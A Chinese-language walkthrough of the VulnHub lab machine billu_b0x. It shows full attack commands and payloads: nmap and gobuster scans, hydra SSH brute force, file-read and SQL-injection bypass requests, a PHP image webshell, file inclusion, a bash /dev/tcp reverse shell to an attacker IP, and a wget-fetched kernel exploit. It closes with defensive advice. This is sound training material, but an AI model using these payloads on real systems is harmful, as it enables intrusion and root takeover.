vulnhub靶机billu_b0x精讲
字数 984 2025-08-22 12:23:19
Billu_b0x 靶机渗透测试教学文档
靶机信息
- 下载地址: https://www.vulnhub.com/entry/billu-b0x,188/
- 难度: 中等
- 技术点: 信息收集、SQL注入、文件包含、文件上传、权限提升
信息收集阶段
1. 主机发现
nmap -sP 192.168.73.0/24
发现目标IP: 192.168.73.141
2. 端口扫描
nmap --min-rate=10000 -p- 192.168.73.141
结果:
- 开放端口: 22(SSH), 80(HTTP)
3. 服务探测
nmap -T4 -sV -sT -sC -O -p80,22 192.168.73.141
结果:
- 22端口: OpenSSH 5.9p1
- 80端口: Apache httpd 2.2.22
4. 目录扫描
gobuster dir -u http://192.168.73.141/ -w /usr/share/wordlists/dirb/big.txt
发现目录:
/add /c /cmd /head /images /index /in /panel /phpmy /show /test
漏洞挖掘与利用
1. SSH服务测试
暴力破解
hydra -l root -P /root/Desktop/passwd-CN-Top10000.txt ssh://192.168.73.141 -V -f
SSH漏洞分析
OpenSSH 5.9p1版本未发现可直接利用的漏洞
2. Web服务渗透
任意文件读取漏洞
- 测试路径: /test
- 发现需要使用POST方式传参
- 有效payload:
POST /test HTTP/1.1
Host: 192.168.73.141
[...]
file=index.php
成功读取index.php源码
关键文件读取
- /etc/passwd: 可读
- /etc/shadow: 无权限
- c.php: 数据库配置文件
<?php $conn = mysqli_connect("127.0.0.1", "billu", "b0x_billu", "ica_lab"); ?>
SQL注入漏洞
- 登录逻辑代码:
$uname=str_replace(urldecode($_POST['un']));
$pass=str_replace(urldecode($_POST['ps']));
$run='select * from auth where pass=\''.$pass.'\' and uname=\''.$uname.'\'';
- 绕过方法: 构造万能密码
- uname:
or 1=1 # - pass:
\
- uname:
- 最终SQL语句:
select * from auth where pass='\' and uname='or 1=1#'
文件上传漏洞
- 上传路径: /add.php
- 上传限制:
- 仅允许图片扩展名(jpeg, jpg, gif, png)
- 检查MIME类型
- 上传路径: /uploaded_images/
文件包含漏洞
- 漏洞位置: panel.php
- 触发条件: POST传参continue和load
- 利用方式:
POST /panel.php?cmd=whoami HTTP/1.1
Host: 192.168.73.141
[...]
load=/uploaded_images/cmd.jpg&continue=continue
其中cmd.jpg为图片马
获取初始shell
1. 制作图片马
echo '<?php system($_GET["cmd"]); ?>' > cmd.jpg
2. 上传图片马
通过/add.php上传
3. 执行命令
POST /panel.php?cmd=whoami HTTP/1.1
Host: 192.168.73.141
[...]
load=/uploaded_images/cmd.jpg&continue=continue
4. 反弹shell
echo "bash -i >& /dev/tcp/192.168.73.138/8899 0>&1" | bash
(注意URL编码)
权限提升
方法一: 内核提权
- 获取系统信息
uname -a
- 搜索漏洞利用
searchsploit Ubuntu kernel 3.13.0-32
- 下载并编译exp
searchsploit -m 37292
service apache2 start
cp 37292.c /var/www/html/
在目标机器:
cd /var/www/html/uploaded_images
wget http://攻击机IP/37292.c
gcc 37292.c -o 37292
./37292
方法二: SSH密码爆破
使用hydra爆破出的密码登录:
ssh root@192.168.73.141
总结
- 通过目录扫描发现/test路径存在任意文件读取
- 读取源码发现SQL注入漏洞
- 利用SQL注入获取后台访问权限
- 通过文件上传+文件包含获取webshell
- 利用内核漏洞或SSH密码提升至root权限
防御建议
- 过滤文件读取参数
- 使用预处理语句防止SQL注入
- 严格限制文件上传类型和内容
- 及时更新系统和软件版本
- 使用强密码策略